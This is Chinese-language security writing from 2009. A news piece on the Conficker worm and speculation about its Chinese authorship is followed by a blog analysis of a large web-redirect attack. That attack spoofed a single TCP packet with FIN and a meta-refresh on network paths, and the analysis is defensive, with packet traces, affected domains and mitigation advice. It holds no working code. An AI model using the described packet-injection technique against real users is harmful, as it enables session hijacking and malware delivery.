“Conficker主打MS08-067漏洞，这个漏洞的详细分析最早被发布在国内技术论坛，攻击代码也是由国内的扫荡波蠕虫最先实践。”网路论坛中，技术高手们同样将Conficker作者视为随时会在身边出没的神秘人物。据了解，出现在2004年的“震荡波”蠕虫作者在遭到微软25万美金悬赏通缉后，最终证明是一名德国黑客。这一次，曾制造无数木马病毒的国内黑客们很可能因重金悬赏而站在风口浪尖。而微软公司为揪出Conficker作者，再次开出了与缉拿“震荡波”蠕虫作者相同标准的25万美元高额悬赏金。     Conficker如真为国内黑客制作，为何它在国内反而几乎毫无斩获，是手下留情还是另有隐情，微软中国安全研究人员“大牛蛙”在其个人博客中如此分析：“360等用户群广泛的国产安全软件，通过各种醒目的方式宣传和提醒，并提供了适合用户需求的系统更新方式，很大程度上帮助了Windows使用者及时安装了补丁（表示感谢）；此外中国ISP比国外少得多，并且在骨干路由和重要节点上设置过对TCP:139/445的访问策略，中国互联网已不再是Conficker类蠕虫的温床。”     据分析，一些黑客论坛中流行的“木马出口论”也为Conficker作者是国内黑客提供了有力佐证。“黑域城堡BBS”中一名网友透露道：“国内网民中安全软件越来越普及，大家都意识到打补丁的重要性，‘肉鸡’比以前已经难抓多了。现在在国内做木马赚钱越来越难，很多人写了木马却卖不动，只好苦练英语转做出口生意。”他甚至戏言“真想抓黑客，到英语培训班一抓一个准儿”。     据了解，微软IE XML 0day (MS08-078) 漏洞最早被发现，继而被出售、被利用、被公开都是在国内互联网上，最后反而是美国被挂的恶意站点远远超过了中国。巧合的是，另一款流行软件Adobe Acrobat Read在今年出现0day漏洞时，率先在国外伺机传播的Ghost木马变种正是国内“肉鸡”控制的常用工具，很可能也是出自国内木马作者的手笔，由此推断，Conficker作者是国内黑客绝非天方夜谭，正如某国内黑客的广告所言——“好病毒，中国造”。     360安全专家石晓虹博士郑重建议，对于Conficker可能发起的攻击必须国内互联网企业应有所防范：“Conficker蠕虫在国内大多数用360打了补丁的网民电脑来说，其实并不会有太大的威胁。但那些可能成为Conficker攻击目标的大型网站，建议一定要在4月1日前进行一次服务器端压力测试，以防万一。此外，企事业机构的局域网更是Conficker容易传播的场所，往往一台电脑‘中招’就会导致整个局域网出现大面积感染，企业员工除了用360尽快为电脑修复漏洞补丁外，建议用户在使用U盘前应尽量开启360等具有U盘防火墙功能的安全软件。”

关键词:Conficker蠕虫病毒

（續集見：「大規模網頁綁架轉址之水落石出篇」
）

從三月初開始，網路上陸續有消息，連往tw.msn.com、taiwan.cnet.com等網站時，會被自動轉址到www.dachengkeji.com。一開始心裡想，大概又有誰的DNS沒有上patch吧，要不然就是又有DNS 0-day或又有人玩BGP了。過了幾天，威脅還是沒有解除，媒體也都紛紛報導了：

神秘網頁轉址事件 疑為新型態攻擊手法，ZDNet 2009/03/05
DNS遭攻陷，多家知名網站慘被攔截轉址，網路資訊 2009/03/05
[教學]遭遇不明網路劫持該如何自救？網路資訊 2009/03/07
追蹤：轉址攻擊仍持續且惡意碼手法日趨成熟，網路資訊 2009/03/08
微軟MSN首頁遭轉址　疑上層DNS被入侵，IThome 2009/03/06

恩，這麼多的專家都說是DNS被綁架了，跟我的直覺一樣...我那時這麼想。

三月七日中午，我用一台電腦上網，剛好這台的IE首頁沒有改，設的是MSN，結果一開就真的被綁架到dachengkeji了。這個dachengkeji.com，真是厲害，我心裡想，過了這麼多天，威脅都還沒解除。就在這個時候，o0o.nu的fyodor yarochkin（聯絡方式：fygrave 鼠 o0o 點 nu）從MSN上傳訊息來，跟我說最近號稱「DNS綁架」造成網頁轉址的事件，根本跟DNS無關，引起了我的好奇，於是我用WireShark看了一下封包，赫然發現這絕對不是一般的DNS綁架，駭客所有的手法犀利，影響的範圍應該非常大！我在這邊將fyodor與我的研究與各位分享，希望各位如果有想法，也可以讓我們知道。

這一個攻擊利用了兩個技巧：

(1) None-blind spoofing，而這也表示攻擊程式位於從受害者到受害網站之間的路徑上，可以監聽流量。

(2) 有些 TCP/IP stack 在實做上的缺失（bug），目前測試結果微軟的系統有此缺失，但是預計還有其他作業系統會有此缺失。

我用我借WireShark錄下來的封包來解釋這個攻擊手法，當時我正試圖連往http://www.gogrok.com（因為網友說這個網站也會被鎖定轉址）。我當時的IP是192.168.1.129，而gogrok的是202.157.128.202。
以下我們看frame 15--我的機器對gorok送SYN。




Frame 16中，對方送SYN/ACK，注意對方的TTL是56。



Frame 17，我送ACK，three way handshake完成，連線成功。Frame 18，我送http request，request（get）不會特別長，所以都在一個封包裡。注意TCP s/n=752：



Frame 19，對方回應，s/n是對的（752），可是id=0x0100，太巧了吧？TTL也突然變成=115。重點是這個封包設了FIN，另外http response內容--meta refresh轉向。FIN表示對方要中斷連線，而meta refresh則會導致我的瀏覽器轉向到www.zhonglie.org。這個這個封包其實沒有符合RFC 793：SYN/FIN封包不能帶其他payload；所有的payload應該在three way handshake完，FIN之前交換。



Frame 20-21，我方確定中斷連線。Frame 23是正牌網站送來的ACK，s/n是對的（752），TTL也是56，id=0x2087不是0x0100。但是比較晚到，我機器已經認為此連線中斷了，瀏覽器也被轉向了。



這個攻擊的特色是，第一，有正確的s/n號碼，表示攻擊程式位於route上，可以看到封包。第二，利用了有些作業系統（例如微軟）在TCP/IP stack實做上的缺失，使得整個攻擊，一個封包就搞定，乾淨俐落。

很多網友都有在網路上討論：
「連tw.msn.com就被導向http://www.dachengkeji.com/article/index.htm」
「連MSN首頁會轉址到www.dachengkeji.com/article/index.htm」
「進入 iThome Blog網址自動跳轉廣告網址」
「[求助] 連tw.msn.com就被導向http://www.dachengkeji.com/article/index.htm 」
「有辦法檢查本站是否 DNS 有被駭嗎？」（此網域本身被鎖定，點選要小心！）
「tw.msn.com被攻陷了嗎？」
「胡亂轉址」
「封鎖惱人的"www.dachengkeji.com"大乘科技」
「網站新聞 : 關於tw.msn.com被導向到dachengkeji網站的反應已經漫延到我們客戶了」
「[重要]連MSN首頁會轉址到www.dachengkeji.com/article/index.htm」
「[求教] 台服官方网站是不是被别人内链了，看图说话」
「電腦警報:非中毒的網頁自動轉址(3/10更新)」
「連tw.msn.com就被導向http://www.dachengkeji.com/article/index.htm」
網頁劫持

這些討論與報導，但部分訪問專家說的，都不正確。這次的攻擊跟DNS沒有任何關係。另外，目前為止，威脅並沒有結束或降低！三月七日兩點到三點，我用那時的電腦做了些測試，發現每一次我連tw.msn.com都被轉向。但是下午約四點開始，突然不轉向了，我想大概威脅解除了，被感染的路由器修好了。可是三月八日中午，我發現威脅依然存在，但是對於每一個被鎖定轉向的網址，都只轉一次！也就是說，假設你在家裡，那麼只有在你第一次連往被鎖定之網站時，會被轉址，第二次就完全不會了。這是為何我錄的是gogrok.com而非tw.msn.com，因為轉了一次以後就不轉了。我試了很多被鎖定的網址，都是一樣，只有第一次會轉。

網路上判斷比較接近我們的，有Blue在資安之眼所貼的「關於這兩天的轉址攻擊事件」，還有richliu所blog的「某些 ISP 疑似被 hijacking攻擊」。另外，在mobile01上，powerpcer有貼出他的pcap dump，我們看過手法跟我們錄的是一樣的。

Cisco也在三月六號貼出了alert:
CISCO:TCP Traffic on Chinese Networks Redirected to Malicious Websites

我們在這邊整理整個事件相關資料，如果有網友有可以補充的，歡迎留言或email（wayne鼠armorize點com）提供我們！

[攻擊技巧]
(1) None-blind spoofing，而這也表示攻擊程式位於從受害者到受害網站之間的路徑上，可以監聽流量。
(2) 有些 TCP/IP stack 在實做上的缺失（bug），目前測試結果微軟的系統有此缺失，但是預計還有其他作業系統會有此缺失。

[攻擊特色]
(1) 攻擊程式位於route中，很可能在backbone上，故影響範圍廣大。
(2) 一個封包就可以攔截session。
(3) 改版後，一個網址只會轉址一次，造成追蹤困難。
(4) 手法並非目前很多專家說的「DNS感染」。

[遭鎖定轉址的網域]
根據網友的回報，目前已知遭鎖定轉址的網域有：
tw.msn.com （我們自己有測試成功）
www.msn.com.tw
www.gogrok.com （我們自己有測試成功）
taiwan.cnet.com （我們自己有測試成功）
www.orzteam.com
www.92an.com
www.wowtaiwan.com.tw
www.ioage.com
www.ithome.com.tw

[轉址到的網域]
轉址到的網域有：
www.dachengkeji.com
www.zhonglie.org
www.yyge.com
www.ganji.com

[pcap封包下載]
我們有msn.com、cnet.com以及gogrok等三份被spoof時錄下來的封包，可以聯絡我們索取（wayne鼠armorize點com）。

[如何防護]
由於為路徑中有節點遭控制，使用者不容易自保，建議利用https而非http連結網站(如果網站有提供https的話)。如果擔心機器已經因為被轉向而遭受攻擊，被植入惡意程式，可以來信索取阿碼科技的免費Archon Scanner：info鼠armorize點com。

[資安廠商alert]
CISCO:TCP Traffic on Chinese Networks Redirected to Malicious Websites

[相關新聞]
1. 神秘網頁轉址事件 疑為新型態攻擊手法，ZDNet 2009/03/05
2. DNS遭攻陷，多家知名網站慘被攔截轉址，網路資訊 2009/03/05
[教學]遭遇不明網路劫持該如何自救？網路資訊 2009/03/07
追蹤：轉址攻擊仍持續且惡意碼手法日趨成熟，網路資訊 2009/03/08
微軟MSN首頁遭轉址　疑上層DNS被入侵，IThome 2009/03/06

[相關網路討論]
「連tw.msn.com就被導向http://www.dachengkeji.com/article/index.htm」
「連MSN首頁會轉址到www.dachengkeji.com/article/index.htm」
「進入 iThome Blog網址自動跳轉廣告網址」
「[求助] 連tw.msn.com就被導向http://www.dachengkeji.com/article/index.htm 」
「有辦法檢查本站是否 DNS 有被駭嗎？」（此網域本身被鎖定，點選要小心！）
「tw.msn.com被攻陷了嗎？」
「胡亂轉址」
「封鎖惱人的"www.dachengkeji.com"大乘科技」
「網站新聞 : 關於tw.msn.com被導向到dachengkeji網站的反應已經漫延到我們客戶了」
「[重要]連MSN首頁會轉址到www.dachengkeji.com/article/index.htm」
「[求教] 台服官方网站是不是被别人内链了，看图说话」
「電腦警報:非中毒的網頁自動轉址(3/10更新)」
「連tw.msn.com就被導向http://www.dachengkeji.com/article/index.htm」
網頁劫持

作者 Wayne 為 阿碼科技CEO
作者 Fyodor Yarochkin 為 o0o.nu 成員

續集：「大規模網頁綁架轉址之水落石出篇」